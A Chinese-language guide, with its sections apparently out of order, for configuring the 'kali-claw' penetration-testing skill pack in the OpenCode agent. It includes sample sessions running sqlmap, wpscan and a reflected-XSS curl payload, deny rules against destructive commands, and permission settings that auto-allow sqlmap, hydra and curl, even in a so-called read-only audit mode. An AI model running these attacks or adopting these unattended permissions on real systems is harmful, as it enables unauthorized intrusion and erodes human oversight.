| API Security | skills/api-security/ | REST/GraphQL testing, auth bypass, rate limiting |
| Vulnerability Assessment | skills/vulnerability-assessment/ | Automated scanning, manual testing, risk rating |
| Insecure Design | skills/insecure-design/ | Threat modeling, abuse cases |
| Security Misconfig | skills/security-misconfiguration/ | Default creds, verbose errors |
| Logging & Monitoring | skills/logging-monitoring/ | Log injection, detection evasion, SIEM bypass |
| AI/LLM Security | skills/ai-security/ | Prompt injection, jailbreaking, model extraction |
| Hardware Security | skills/hardware-security/ | JTAG/UART, firmware extraction, side-channel |
| AI Fuzzing | skills/ai-fuzzing/ | Coverage-guided fuzzing, crash triage |
| Council | skills/council/ | Multi-perspective analysis, decision matrix |
| Security Review | skills/security-review/ | OWASP audit, secrets detection, injection testing |
| Repo Scan | skills/repo-scan/ | Codebase security surface, hotspot analysis |
| Terminal Ops | skills/terminal-ops/ | Evidence capture, session management |
| Verification Loop | skills/verification-loop/ | Exploit confirmation, false-positive elimination |
| Search First | skills/search-first/ | Exploit/tool search, existing solution discovery |
| Autonomous Loops | skills/autonomous-loops/ | Sequential pipeline, watch loop, batch processing |
| Safety Guard | skills/safety-guard/ | Scope enforcement, rate limiting |
| Chronicle | skills/chronicle/ | Session logging, milestone tracking |
| Continuous Learning | skills/continuous-learning/ | Tool mastery progression, knowledge gaps |
| Docker Patterns | skills/docker-patterns/ | Lab environment setup, vulnerable containers |
| Social Intelligence | skills/social-intelligence/ | Platform OSINT, sentiment analysis |
| Deep Research | skills/deep-research/ | Multi-source intelligence, CVE deep-dive |
| Codebase Onboarding | skills/codebase-onboarding/ | Rapid codebase intelligence |
| Knowledge Ops | skills/knowledge-ops/ | Knowledge graph management |
| Article Writing | skills/article-writing/ | Security content creation, CVSS scoring |
| Browser QA | skills/browser-qa/ | Automated browser testing, network monitoring |
| Data Scraper | skills/data-scraper-agent/ | Structured data collection, CVE scraping |
| Exa Search | skills/exa-search/ | Semantic search, security research |
| MCP Server Patterns | skills/mcp-server-patterns/ | Custom MCP server design |
| Multi-Agent Collab | skills/multi-agent-collaboration/ | Task decomposition, parallel execution |
| Security Bounty | skills/security-bounty-hunter/ | Bug bounty hunting, PoC development |

## Safety Boundaries

- **Authorization First**: Never test without explicit authorization. Always confirm scope.
- **Read Before Execute**: Read relevant skill files before running any security commands.
- **No Destructive Actions**: Never use `rm -rf`, `mkfs`, `dd` or similar destructive commands.
  Use trash instead of rm when file deletion is needed.
- **No Sensitive Data Leakage**: Never expose API keys, passwords, tokens in output.
- **Responsible Disclosure**: Report findings through proper channels, never exploit for personal gain.
- **Scope Enforcement**: Stay within the defined engagement scope at all times.
- **Rate Limiting**: Avoid aggressive scanning that could cause service disruption.
- **Evidence Chain**: Maintain proper evidence documentation for all findings.

## Communication Style

- Professional, direct, hands-on
- Give precise commands + actionable steps
- Think from first principles, execute with divergent thinking
- Less talk, more action
- Concise when it matters, detailed when it's important

    4.3 启动并使用增强配置

    cd ~/kali-claw
opencode

    OpenCode 启动后会自动读取 opencode.json、AGENTS.md 和 .opencode/instructions.md。AI 现在已经理解自己是 kali-claw。

    使用自定义命令

    标准迁移后，你可以使用预定义的快捷命令：

    你: /recon 192.168.1.100

你: /web-pentest http://target-app.com

你: /sqli http://target/page.php?id=1

你: /password-audit ssh://192.168.1.100

你: /learn web-sqli

你: /security-review ./my-project

    多轮对话示例

    你: /recon 192.168.1.0/24

AI: [读取 skills/osint/SKILL.md 和 skills/network-pentest/SKILL.md]
    按照 kali-claw 侦察方法论执行：

    ## 第一阶段：主机发现
    $ sudo arp-scan -l
    [结果：发现 3 台活跃主机]

    ## 第二阶段：端口扫描
    $ nmap -sV -sC -O 192.168.1.100
    [结果：开放端口 22(SSH), 80(HTTP), 445(SMB)]

    ## 第三阶段：服务指纹
    $ whatweb http://192.168.1.100
    [结果：Apache 2.4.51, PHP 8.1, WordPress 6.0]

    ## 第四阶段：枚举
    $ wpscan --url http://192.168.1.100 --enumerate u,p,t
    [结果：发现 3 个用户, 2 个易受攻击的插件]

    ## 汇总
    | 主机 | 开放服务 | 潜在风险 |
    |------|---------|---------|
    | 192.168.1.100 | SSH, HTTP, SMB | WordPress 过时插件 |
    | 192.168.1.105 | HTTP | Apache 过时版本 |
    | 192.168.1.110 | MySQL | 默认配置 |

    建议下一步：对 192.168.1.100 执行 Web 渗透测试。
    使用 /web-pentest http://192.168.1.100 继续。

你: /web-pentest http://192.168.1.100

AI: [读取 Web 安全相关的 5 个 SKILL.md 文件]
    开始 Web 渗透测试...

    ## 1. SQL 注入测试
    $ sqlmap -u "http://192.168.1.100/wp-content/plugins/vuln/page.php?id=1" --batch --dbs
    [结果：发现 SQL 注入漏洞，可提取数据库]

    ## 2. XSS 测试
    $ curl "http://192.168.1.100/?s=<script>alert(1)</script>"
    [结果：反射型 XSS 漏洞确认]

    ## 3. 认证绕过
    [结果：WordPress 管理面板使用弱密码]

    ## 生成报告
    发现 3 个高危漏洞，建议立即修复。
    详细报告见 skills/article-writing/ 中的报告模板。

你: 生成完整的渗透测试报告。

AI: [读取 skills/article-writing/SKILL.md]
    根据 kali-claw 报告生成规范，生成报告如下：

    # 渗透测试报告
    ## 执行摘要
    ...
    ## 发现漏洞列表
    | # | 漏洞 | 严重度 | CVSS | 状态 |
    |---|------|--------|------|------|
    | 1 | SQL 注入 | 高危 | 9.8 | 已确认 |
    | 2 | 反射型 XSS | 中危 | 6.1 | 已确认 |
    | 3 | 弱密码 | 高危 | 7.5 | 已确认 |
    ## 详细发现
    ...
    ## 修复建议
    ...

    4.4 切换 Agent 模式

    标准配置中定义了两个 Agent：

    • kali-claw — 完整渗透测试模式（可执行攻击命令，需确认）
    • kali-claw-audit — 只读审计模式（不执行任何修改操作）

    在 OpenCode TUI 中通过切换 Agent 来选择模式。审计模式适合在不允许执行攻击操作的场景中使用。

    五、方式三：完整迁移（2 小时）

    完整迁移在标准迁移的基础上，增加 MCP 工具集成、更多自定义命令和多提供商模型配置。

    5.1 MCP 工具集成

    MCP（Model Context Protocol）允许 OpenCode 连接外部工具服务。在渗透测试场景中，可以通过 MCP 将安全工具包装为 AI 可调用的工具。

    更新 opencode.json 中的 MCP 配置

    在标准迁移的 opencode.json 中添加 mcp 部分：

    {
  "mcp": {
    "filesystem": {
      "type": "local",
      "command": ["npx", "-y", "@modelcontextprotocol/server-filesystem", "/home/user/kali-claw"],
      "enabled": true,
      "timeout": 30000
    },
    "brave-search": {
      "type": "local",
      "command": ["npx", "-y", "@anthropic-ai/mcp-server-brave-search"],
      "enabled": true,
      "environment": {
        "BRAVE_API_KEY": "{env:BRAVE_API_KEY}"
      }
    },
    "github": {
      "type": "local",
      "command": ["npx", "-y", "@anthropic-ai/mcp-server-github"],
      "enabled": true,
      "environment": {
        "GITHUB_TOKEN": "{env:GITHUB_TOKEN}"
      }
    },
    "playwright": {
      "type": "local",
      "command": ["npx", "-y", "@playwright/mcp"],
      "enabled": true
    }
  }
}

    说明：

    MCP 服务器用途
    filesystem安全读写 kali-claw 项目文件
    brave-search搜索 CVE、漏洞情报、安全资讯
    github查询安全工具源码、安全公告
    playwright自动化浏览器测试（XSS 验证、Web 应用交互）

    注意：MCP 服务器需要 Node.js 环境。确保已安装 Node.js：

    curl -fsSL https://deb.nodesource.com/setup_20.x | sudo bash -
sudo apt install -y nodejs

    5.2 扩展自定义命令

    在标准迁移的基础上，添加更多专业命令。将以下内容追加到 opencode.json 的 command 部分：

    {
  "command": {
    "recon": {
      "template": "读取 skills/network-pentest/SKILL.md 和 skills/osint/SKILL.md，对目标执行信息收集和侦察。\n目标：$ARGUMENTS",
      "description": "侦察（OSINT + 网络扫描）"
    },
    "web-pentest": {
      "template": "读取 Web 安全技能（skills/web-sqli/、skills/web-xss/、skills/web-ssrf/、skills/web-auth-bypass/、skills/web-access-control/），对目标执行完整 Web 渗透测试。\n目标：$ARGUMENTS",
      "description": "Web 渗透测试"
    },
    "sqli": {
      "template": "读取 skills/web-sqli/SKILL.md 和 skills/web-sqli/payloads.md，执行 SQL 注入测试。\n目标：$ARGUMENTS",
      "description": "SQL 注入测试"
    },
    "xss": {
      "template": "读取 skills/web-xss/SKILL.md 和 skills/web-xss/payloads.md，执行 XSS 测试。\n目标：$ARGUMENTS",
      "description": "XSS 测试"
    },
    "network-attack": {
      "template": "读取 skills/network-pentest/SKILL.md 和 skills/network-pentest/payloads.md，执行网络渗透测试。\n目标：$ARGUMENTS",
      "description": "网络渗透测试"
    },
    "password-audit": {
      "template": "读取 skills/password-attack/SKILL.md 和 skills/password-attack/payloads.md，执行密码安全审计。\n目标：$ARGUMENTS",
      "description": "密码安全审计"
    },
    "wifi-test": {
      "template": "读取 skills/wifi-pentest/SKILL.md 和 skills/wifi-pentest/payloads.md，执行 WiFi 安全测试。\n目标：$ARGUMENTS",
      "description": "WiFi 安全测试"
    },
    "cloud-audit": {
      "template": "读取 skills/cloud-security/SKILL.md，执行云安全审计。\n目标：$ARGUMENTS",
      "description": "云安全审计"
    },
    "container-scan": {
      "template": "读取 skills/container-security/SKILL.md，执行容器安全扫描。\n目标：$ARGUMENTS",
      "description": "容器安全扫描"
    },
    "mobile-test": {
      "template": "读取 skills/mobile-security/SKILL.md，执行移动应用安全测试。\n目标：$ARGUMENTS",
      "description": "移动应用安全测试"
    },
    "apitest": {
      "template": "读取 skills/api-security/SKILL.md，执行 API 安全测试。\n目标：$ARGUMENTS",
      "description": "API 安全测试"
    },
    "social-eng": {
      "template": "读取 skills/social-engineering/SKILL.md，制定社会工程测试方案（仅理论规划，不实际执行）。\n目标：$ARGUMENTS",
      "description": "社会工程测试规划"
    },
    "learn": {
      "template": "读取指定技能文件，详细讲解安全知识。\n技能：$ARGUMENTS",
      "description": "学习安全技能领域"
    },
    "security-review": {
      "template": "读取 skills/security-review/SKILL.md 和 skills/repo-scan/SKILL.md，执行安全代码审查。\n目标：$ARGUMENTS",
      "description": "安全代码审查"
    },
    "gen-report": {
      "template": "读取 skills/article-writing/SKILL.md，根据本次会话的测试结果生成专业的渗透测试报告。包含：执行摘要、漏洞列表、详细发现、CVSS 评分、修复建议。\n项目/目标：$ARGUMENTS",
      "description": "生成渗透测试报告"
    },
    "check-cve": {
      "template": "读取 skills/deep-research/SKILL.md 和 skills/search-first/SKILL.md，搜索和分析指定的 CVE 漏洞信息。\nCVE 编号或关键词：$ARGUMENTS",
      "description": "查询 CVE 漏洞信息"
    },
    "setup-lab": {
      "template": "读取 skills/docker-patterns/SKILL.md，帮我搭建安全测试靶场环境。\n需要的靶场类型：$ARGUMENTS\n\n推荐使用 Docker 靶场，确保环境隔离且可销毁。",
      "description": "搭建安全测试靶场（如：DVWA、WebGoat、SQLi-Labs）"
    },
    "verify": {
      "template": "读取 skills/verification-loop/SKILL.md，验证以下安全发现是否为真正的漏洞，排除误报。\n发现：$ARGUMENTS",
      "description": "验证安全发现（排除误报）"
    }
  }
}

    5.3 多提供商模型配置

    完整配置支持多个 AI 提供商，根据不同任务切换模型：

    {
  "provider": {
    "anthropic": {
      "options": {
        "apiKey": "{env:ANTHROPIC_API_KEY}"
      }
    },
    "openai": {
      "options": {
        "apiKey": "{env:OPENAI_API_KEY}"
      }
    },
    "ollama": {
      "npm": "@ai-sdk/openai-compatible",
      "name": "Ollama (Local)",
      "options": {
        "baseURL": "http://localhost:11434/v1"
      },
      "models": {
        "llama3": {
          "name": "Llama 3 (Local)",
          "limit": {
            "context": 8192,
            "output": 4096
          }
        },
        "codellama": {
          "name": "Code Llama (Local)",
          "limit": {
            "context": 16384,
            "output": 4096
          }
        }
      }
    }
  }
}

    模型选择建议：

    场景推荐模型原因
    复杂渗透测试Claude Sonnet强大的推理和工具使用能力
    日常安全分析Claude Haiku成本低，速度快
    学习和研究GPT-4o知识面广
    离线/内网环境Llama 3 (Ollama)无需网络，数据不出本地
    代码审计Claude Sonnet代码理解能力强

    5.4 完整 opencode.json 示例

    将上述所有配置整合为一个完整文件：

    {
  "$schema": "https://opencode.ai/config.json",
  "model": "anthropic/claude-sonnet-4-20250514",
  "small_model": "anthropic/claude-3-5-haiku-latest",
  "default_agent": "kali-claw",
  "shell": "/bin/bash",
  "logLevel": "INFO",
  "share": "disabled",
  "autoupdate": "notify",
  "snapshot": true,
  "instructions": [
    "AGENTS.md",
    ".opencode/instructions.md"
  ],

  "agent": {
    "kali-claw": {
      "model": "anthropic/claude-sonnet-4-20250514",
      "description": "kali-claw 渗透测试工程师 — 掌握全部 518 个 Kali Linux 安全工具",
      "permission": {
        "edit": "ask",
        "bash": {
          "nmap *": "allow",
          "sqlmap *": "allow",
          "nikto *": "allow",
          "hydra *": "allow",
          "curl *": "allow",
          "dig *": "allow",
          "whois *": "allow",
          "whatweb *": "allow",
          "gobuster *": "allow",
          "dirb *": "allow",
          "wpscan *": "allow",
          "enum4linux *": "allow",
          "arp-scan *": "allow",
          "tcpdump *": "ask",
          "msfconsole *": "ask",
          "bettercap *": "ask",
          "responder *": "ask",
          "rm *": "deny",
          "*": "ask"
        }
      }
    },
    "kali-claw-audit": {
      "model": "anthropic/claude-sonnet-4-20250514",
      "description": "kali-claw 安全审计模式 — 只读分析，不执行攻击",
      "permission": {
        "edit": "deny",
        "bash": {
          "nmap *": "allow",
          "sqlmap *": "allow",
          "curl *": "allow",
          "dig *": "allow",
          "whois *": "allow",
          "whatweb *": "allow",
          "cat *": "allow",
          "head *": "allow",
          "ls *": "allow",
          "rm *": "deny",
          "*": "ask"
        }
      }
    }
  },

  "command": {
    "recon": {
      "template": "读取 skills/network-pentest/SKILL.md 和 skills/osint/SKILL.md，对目标执行侦察。\n目标：$ARGUMENTS",
      "description": "侦察（OSINT + 网络扫描）"
    },
    "web-pentest": {
      "template": "读取 Web 安全技能文件，对目标执行完整 Web 渗透测试。\n目标：$ARGUMENTS",
      "description": "Web 渗透测试"
    },
    "sqli": {
      "template": "读取 skills/web-sqli/，执行 SQL 注入测试。\n目标：$ARGUMENTS",
      "description": "SQL 注入测试"
    },
    "xss": {
      "template": "读取 skills/web-xss/，执行 XSS 测试。\n目标：$ARGUMENTS",
      "description": "XSS 测试"
    },
    "network-attack": {
      "template": "读取 skills/network-pentest/，执行网络渗透测试。\n目标：$ARGUMENTS",
      "description": "网络渗透测试"
    },
    "password-audit": {
      "template": "读取 skills/password-attack/，执行密码审计。\n目标：$ARGUMENTS",
      "description": "密码安全审计"
    },
    "wifi-test": {
      "template": "读取 skills/wifi-pentest/，执行 WiFi 安全测试。\n目标：$ARGUMENTS",
      "description": "WiFi 安全测试"
    },
    "cloud-audit": {
      "template": "读取 skills/cloud-security/，执行云安全审计。\n目标：$ARGUMENTS",
      "description": "云安全审计"
    },
    "container-scan": {
      "template": "读取 skills/container-security/，执行容器安全扫描。\n目标：$ARGUMENTS",
      "description": "容器安全扫描"
    },
    "mobile-test": {
      "template": "读取 skills/mobile-security/，执行移动安全测试。\n目标：$ARGUMENTS",
      "description": "移动应用安全测试"
    },
    "apitest": {
      "template": "读取 skills/api-security/，执行 API 安全测试。\n目标：$ARGUMENTS",
      "description": "API 安全测试"
    },
    "learn": {
      "template": "读取指定技能文件，详细讲解安全知识。\n技能：$ARGUMENTS",
      "description": "学习安全技能"
    },
    "security-review": {
      "template": "读取 skills/security-review/ 和 skills/repo-scan/，执行安全审查。\n目标：$ARGUMENTS",
      "description": "安全代码审查"
    },
    "gen-report": {
      "template": "读取 skills/article-writing/SKILL.md，生成渗透测试报告。\n目标：$ARGUMENTS",
      "description": "生成渗透测试报告"
    },
    "check-cve": {
      "template": "读取 skills/deep-research/，查询 CVE 漏洞。\nCVE/关键词：$ARGUMENTS",
      "description": "查询 CVE 漏洞"
    },
    "setup-lab": {
      "template": "读取 skills/docker-patterns/，搭建安全靶场。\n靶场类型：$ARGUMENTS",
      "description": "搭建安全靶场"
    },
    "verify": {
      "template": "读取 skills/verification-loop/，验证安全发现。\n发现：$ARGUMENTS",
      "description": "验证安全发现"
    }
  },

  "provider": {
    "anthropic": {
      "options": {
        "apiKey": "{env:ANTHROPIC_API_KEY}"
      }
    },
    "openai": {
      "options": {
        "apiKey": "{env:OPENAI_API_KEY}"
      }
    },
    "ollama": {
      "npm": "@ai-sdk/openai-compatible",
      "name": "Ollama (Local)",
      "options": {
        "baseURL": "http://localhost:11434/v1"
      },
      "models": {
        "llama3": {
          "name": "Llama 3 (Local)",
          "limit": { "context": 8192, "output": 4096 }
        }
      }
    }
  },

  "mcp": {
    "filesystem": {
      "type": "local",
      "command": ["npx", "-y", "@modelcontextprotocol/server-filesystem", "/home/user/kali-claw"],
      "enabled": true,
      "timeout": 30000
    },
    "brave-search": {
      "type": "local",
      "command": ["npx", "-y", "@anthropic-ai/mcp-server-brave-search"],
      "enabled": true,
      "environment": {
        "BRAVE_API_KEY": "{env:BRAVE_API_KEY}"
      }
    },
    "github": {
      "type": "local",
      "command": ["npx", "-y", "@anthropic-ai/mcp-server-github"],
      "enabled": true,
      "environment": {
        "GITHUB_TOKEN": "{env:GITHUB_TOKEN}"
      }
    },
    "playwright": {
      "type": "local",
      "command": ["npx", "-y", "@playwright/mcp"],
      "enabled": true
    }
  },

  "permission": {
    "edit": "ask",
    "bash": {
      "rm *": "deny",
      "rm -rf *": "deny",
      "mkfs *": "deny",
      "dd *": "deny",
      "*": "ask"
    }
  },

  "tool_output": {
    "max_lines": 2000,
    "max_bytes": 51200
  },

  "compaction": {
    "auto": true,
    "tail_turns": 15
  }
}

    六、使用场景

    6.1 渗透测试流程

    完整的渗透测试工作流：

    # 步骤 1：搭建靶场
你: /setup-lab DVWA

# 步骤 2：信息收集
你: /recon target.com

# 步骤 3：Web 渗透测试
你: /web-pentest http://target.com

# 步骤 4：深度 SQL 注入
你: /sqli http://target.com/vuln.php?id=1

# 步骤 5：验证发现
你: /verify "发现 UNION 注入漏洞，可提取用户表"

# 步骤 6：生成报告
你: /gen-report "target.com 渗透测试"

    6.2 安全审计

    代码安全审计流程：

    # 审计一个项目
你: /security-review /path/to/project

AI 会自动执行：
1. 文件分类和安全面评估
2. 依赖库检测和已知漏洞查询
3. 密钥/凭据泄露扫描
4. 注入漏洞检查（SQL 注入、XSS、命令注入）
5. 认证/授权逻辑审查
6. 生成审计报告

    6.3 学习和研究

    系统学习安全技能：

    # 学习特定领域
你: /learn web-sqli
你: /learn network-pentest
你: /learn password-attack
你: /learn cloud-security

# 查询特定 CVE
你: /check-cve CVE-2024-1234

# 搭建靶场练习
你: /setup-lab SQLi-Labs
你: /setup-lab WebGoat

    6.4 报告生成

    你: /gen-report "example.com 外部渗透测试"

AI 会根据 kali-claw 的报告模板（skills/article-writing/SKILL.md）生成：
- 执行摘要
- 测试范围和方法论
- 漏洞发现列表（含 CVSS 评分）
- 详细技术分析
- 修复建议和优先级
- 附录（证据截图、日志）

    七、常见问题

    Q1：OpenCode 安装失败

    问题：curl -fsSL https://opencode.ai/install | bash 失败

    解决方案：

    # 方案一：使用 Go install
go install github.com/opencode-ai/opencode@latest

# 方案二：手动下载
# 前往 https://github.com/opencode-ai/opencode/releases
# 下载对应平台的二进制文件

# 方案三：从源码构建
git clone https://github.com/opencode-ai/opencode.git
cd opencode
go build -o /usr/local/bin/opencode ./cmd/opencode

    Q2：API Key 配置

    问题：启动后提示 API Key 缺失

    解决方案：

    # 检查环境变量
echo $ANTHROPIC_API_KEY
echo $OPENAI_API_KEY

# 如果为空，设置环境变量
export ANTHROPIC_API_KEY="sk-ant-..."
# 或
export OPENAI_API_KEY="sk-..."

# 写入 shell 配置使其持久化
echo 'export ANTHROPIC_API_KEY="sk-ant-..."' >> ~/.zshrc
source ~/.zshrc

# 或在 opencode.json 中使用 {env:VAR_NAME} 引用环境变量
# 或直接写入 provider 配置（不推荐，有安全风险）

    Q3：模型选择建议

    需求推荐模型理由
    专业渗透测试Claude Sonnet最佳工具使用和推理能力
    日常安全分析Claude Haiku性价比高，响应快
    代码审计Claude Sonnet代码理解深度最好
    学习研究GPT-4o / Claude Sonnet知识面广
    离线/内网Llama 3 (Ollama)无需网络，数据本地
    预算有限Claude Haiku + Ollama混合使用降低成本

    建议：将 model 设为 Claude Sonnet 用于复杂任务，small_model 设为 Claude Haiku 用于轻量操作。OpenCode 会自动选择合适的模型。

    Q4：沙箱和权限限制

    问题：OpenCode 拒绝执行某些命令

    解决方案：

    在 opencode.json 的 permission.bash 中配置命令白名单：

    {
  "permission": {
    "bash": {
      "nmap *": "allow",       // 自动允许
      "sqlmap *": "allow",     // 自动允许
      "msfconsole *": "ask",   // 每次询问
      "rm *": "deny",          // 完全禁止
      "*": "ask"               // 默认询问
    }
  }
}

    权限级别说明：

    • allow — 自动允许，不询问
    • ask — 每次执行前询问用户确认
    • deny — 完全禁止执行

    Q5：与 OpenClaw / Claude Code 并行使用

    问题：能否同时使用多个 AI 智能体框架？

    可以。kali-claw 的技能包是纯 Markdown 文件，不依赖特定框架：

    # OpenClaw 方式
cd ~/.openclaw/workspace-kali-claw
openclaw gateway start

# OpenCode 方式（另一个终端）
cd ~/kali-claw
opencode

# Claude Code 方式（另一个终端）
cd ~/kali-claw
claude

# 三者读取的是同一套文件，互不干扰

    注意：不要让多个框架同时修改同一个记忆文件（如 MEMORY.md），建议每个框架使用独立的工作空间副本。

    Q6：远程 Kali Linux 配置

    问题：本地机器不是 Kali Linux，如何使用安全工具？

    方案一：SSH 执行

    在 OpenCode 对话中指示 AI 通过 SSH 执行命令：

    你: 通过 SSH 连接 user@kali-server，执行 nmap 扫描 192.168.1.0/24

AI: $ ssh user@kali-server "nmap -sV -sC 192.168.1.0/24"

    方案二：SSH 配置别名

    # ~/.ssh/config
Host kali
    HostName 192.168.1.50
    User root
    IdentityFile ~/.ssh/id_ed25519
    ForwardAgent yes

    之后只需 ssh kali "command" 即可。

    方案三：Docker 容器

    # 在任意 Linux 机器上运行 Kali 容器
docker run -d --name kali kali-claw-env
docker exec kali nmap -sV target

    Q7：更新 kali-claw 技能包

    cd ~/kali-claw
git pull origin main

# skills/ 目录更新后，OpenCode 下次启动会自动读取最新文件
# opencode.json 和 .opencode/instructions.md 一般不需要更新
# 除非新增了技能域，需要更新 instructions.md 中的技能索引表

    Q8：上下文窗口管理

    问题：长会话中 AI 丢失早期上下文

    解决方案：

    OpenCode 的 compaction 配置可以自动压缩上下文：

    {
  "compaction": {
    "auto": true,
    "tail_turns": 15
  }
}

    建议：

    • 复杂渗透测试分为多个阶段，每个阶段一个会话
    • 使用 /gen-report 在阶段结束时生成报告
    • 关键发现写入 memory/ 目录持久化

    Q9：MCP 服务器启动失败

    问题：MCP 服务器连接超时或启动失败

    解决方案：

    # 1. 确认 Node.js 已安装
node --version  # 需要 v18+

# 2. 手动测试 MCP 服务器
npx -y @modelcontextprotocol/server-filesystem /tmp/test

# 3. 检查网络（远程 MCP 服务器）
curl https://mcp.example.com/api

# 4. 在 opencode.json 中增加超时时间
{
  "mcp": {
    "my-server": {
      "timeout": 60000
    }
  }
}

# 5. 禁用有问题的 MCP 服务器
{
  "mcp": {
    "my-server": {
      "enabled": false
    }
  }
}

    八、架构对比

    8.1 组件映射

    kali-claw (OpenClaw)OpenCode 对应迁移方式说明
    SOUL.md.opencode/instructions.md提取核心内容身份、12 条法则、安全边界
    AGENTS.mdOpenCode AGENTS.md保持原位OpenCode 原生支持
    IDENTITY.md.opencode/instructions.md 技能索引提取技能标签表AI 通过索引找到对应技能文件
    USER.md不需要迁移--OpenCode 不需要此文件
    MEMORY.md项目文件（按需读取）保持原位AI 可读取长期记忆
    TOOLS.md项目文件（按需读取）保持原位AI 可读取工具进度
    HEARTBEAT.mdOpenCode 无对应不迁移OpenCode 无心跳机制
    skills/*/SKILL.md项目文件（按需读取）保持原位，不修改核心知识资产
    skills/*/payloads.md项目文件（按需读取）保持原位，不修改攻击载荷库
    skills/*/test-cases.md项目文件（按需读取）保持原位，不修改测试用例模板
    skills/*/guides/项目文件（按需读取）保持原位，不修改深度学习资料
    openclaw agents addopencode.json agent 配置新建配置文件定义 Agent 角色和权限
    openclaw gateway startopencode 命令新启动方式OpenCode TUI 界面

    8.2 文件变更汇总

    迁移过程中需要创建的文件：

    文件用途方式
    opencode.jsonOpenCode 项目配置标准/完整迁移
    .opencode/instructions.mdkali-claw 角色指令标准/完整迁移

    迁移过程中不需要修改的文件：

    • SOUL.md — 保持原位
    • AGENTS.md — 保持原位，OpenCode 原生支持
    • IDENTITY.md — 保持原位
    • USER.md — 保持原位
    • MEMORY.md — 保持原位
    • TOOLS.md — 保持原位
    • HEARTBEAT.md — 保持原位
    • skills/ 目录下所有文件 — 保持原位，不做任何修改

    8.3 功能对比

    功能OpenClaw + kali-clawOpenCode + kali-claw
    角色定义SOUL.md 自动加载instructions.md + opencode.json
    技能加载按需读取按需读取
    自定义命令无有（opencode.json command）
    MCP 工具无有
    心跳任务有无
    记忆系统三层（daily/chronicle/MEMORY）文件读取（无自动管理）
    多 Agentopenclaw agents 管理opencode.json agent 配置
    权限控制SOUL.md 规则opencode.json permission
    模型切换固定模型随时切换
    离线使用取决于模型 API支持 Ollama 本地模型

    九、快速参考卡

    常用命令

    # 启动
cd ~/kali-claw && opencode

# 快捷命令
/recon <target>           # 侦察
/web-pentest <url>        # Web 渗透
/sqli <url>               # SQL 注入
/xss <url>                # XSS 测试
/network-attack <target>  # 网络渗透
/password-audit <target>  # 密码审计
/wifi-test <target>       # WiFi 测试
/cloud-audit <target>     # 云安全审计
/container-scan <target>  # 容器扫描
/apitest <url>            # API 测试
/learn <skill>            # 学习技能
/security-review <path>   # 安全审查
/gen-report <name>        # 生成报告
/setup-lab <type>         # 搭建靶场
/check-cve <cve-id>       # 查询 CVE
/verify <finding>         # 验证发现

    目录结构（迁移后）

    kali-claw/
├── opencode.json              # [新增] OpenCode 项目配置
├── .opencode/
│   └── instructions.md        # [新增] kali-claw 角色指令
├── SOUL.md                    # [不变] 身份 + 黑客法则
├── AGENTS.md                  # [不变] 工作空间配置
├── IDENTITY.md                # [不变] 技能标签
├── USER.md                    # [不变] 用户配置
├── MEMORY.md                  # [不变] 长期记忆
├── TOOLS.md                   # [不变] 工具进度
├── HEARTBEAT.md               # [不变] 心跳框架
├── skills/                    # [不变] 137 个技能域
│   ├── web-sqli/
│   │   ├── SKILL.md智能体
│   │   ├── payloads.md
│   │   ├── test-cases.md
│   │   └── guides/
│   ├── network-pentest/
│   ├── cloud-security/
│   └── ... (137 domains)
├── memory/                    # [不变] 每日记忆
├── chronicle/                 # [不变] 月度编年史
└── bak/                       # [不变] 备份

    迁移检查清单

    • OpenCode 已安装并验证版本
    • AI 提供商 API Key 已配置
    • kali-claw 工作空间已克隆
    • opencode.json 已创建并配置
    • .opencode/instructions.md 已创建
    • Kali Linux 环境可用（本机/SSH/Docker）
    • 首次启动测试成功
    • 自定义命令测试通过
    • 技能文件读取测试通过

    基于 kali-claw v0.2.1 + OpenCode 最新版编写 | 2026-05-18

    • 多 AI 提供商支持 — OpenAI、Anthropic、Google、Ollama 本地模型，模型无关设计
    • 项目级配置 — 通过 opencode.json 定义模型、指令、命令、MCP 工具
    • 指令文件系统 — 读取 AGENTS.md 等项目文件作为 AI 行为指南
    • MCP 工具集成 — 支持 Model Context Protocol，扩展 AI 能力边界
    • 自定义命令 — 定义常用操作的快捷命令
    • 终端 TUI 界面 — 实时交互，文件编辑，Shell 命令执行

    1.2 与其他 AI 编码平台的对比

    特性OpenClawClaude CodeOpenCodeCodex CLICursor
    开源是否是是否
    模型支持Claude仅 Claude多模型OpenAI多模型
    运行方式网关服务CLI + TUITUICLIIDE 插件
    MCP 支持否是是否否
    项目指令MD 文件CLAUDE.mdAGENTS.md + 自定义无.cursorrules
    自定义命令无无有无无
    安装方式npmnpmGo / 脚本npm桌面应用
    语言TypeScriptTypeScriptGoTypeScriptElectron

    为什么选择 OpenCode：

    • 完全开源 — 可审计、可定制、无供应商锁定
    • 模型无关 — 不绑定单一 AI 提供商，随时切换
    • MCP 生态 — 通过 MCP 协议接入安全工具（nmap、sqlmap 等）
    • Go 高性能 — 编译为单一二进制，启动快，资源占用低
    • 自定义命令 — 可预定义渗透测试流程命令

    1.3 kali-claw 技能包如何适配 OpenCode

    kali-claw 的技能包是纯 Markdown 文件，不依赖任何特定框架。OpenCode 可以通过项目级配置读取这些文件，让 AI 理解和使用 kali-claw 的完整知识体系。

    关键适配点：

    kali-claw 组件OpenCode 对应说明
    SOUL.md项目指令文件提取核心身份和黑客法则写入项目指令
    AGENTS.mdOpenCode AGENTS.mdOpenCode 原生支持读取 AGENTS.md
    skills/*/SKILL.md项目文件（按需读取）AI 可直接读取，无需修改
    skills/*/payloads.md项目文件（按需读取）AI 可直接读取，无需修改
    skills/*/test-cases.md项目文件（按需读取）AI 可直接读取，无需修改
    skills/*/guides/项目文件（按需读取）AI 可直接读取，无需修改

    核心原则：skills/ 目录中的所有文件保持原位，不做任何修改。迁移是指配置 OpenCode 来读取和使用这些现有文件。

    1.4 三种迁移策略

    根据你的时间预算和需求深度，选择合适的迁移方式：

    策略耗时适合场景你将获得
    最小迁移5 分钟快速体验、临时使用基本 AI + kali-claw 文件访问
    标准迁移30 分钟日常使用、渗透测试完整角色定义 + 技能索引 + 安全边界
    完整迁移2 小时专业团队、生产环境MCP 工具集成 + 自定义命令 + 多模型

    二、环境准备

    2.1 安装 OpenCode

    方式一：官方安装脚本（推荐）

    curl -fsSL https://opencode.ai/install | bash

    方式二：Go install

    go install github.com/opencode-ai/opencode@latest

    方式三：手动下载二进制

    # Linux (amd64)
curl -fsSL https://github.com/opencode-ai/opencode/releases/latest/download/opencode-linux-amd64 -o /usr/local/bin/opencode
chmod +x /usr/local/bin/opencode

# Linux (arm64)
curl -fsSL https://github.com/opencode-ai/opencode/releases/latest/download/opencode-linux-arm64 -o /usr/local/bin/opencode
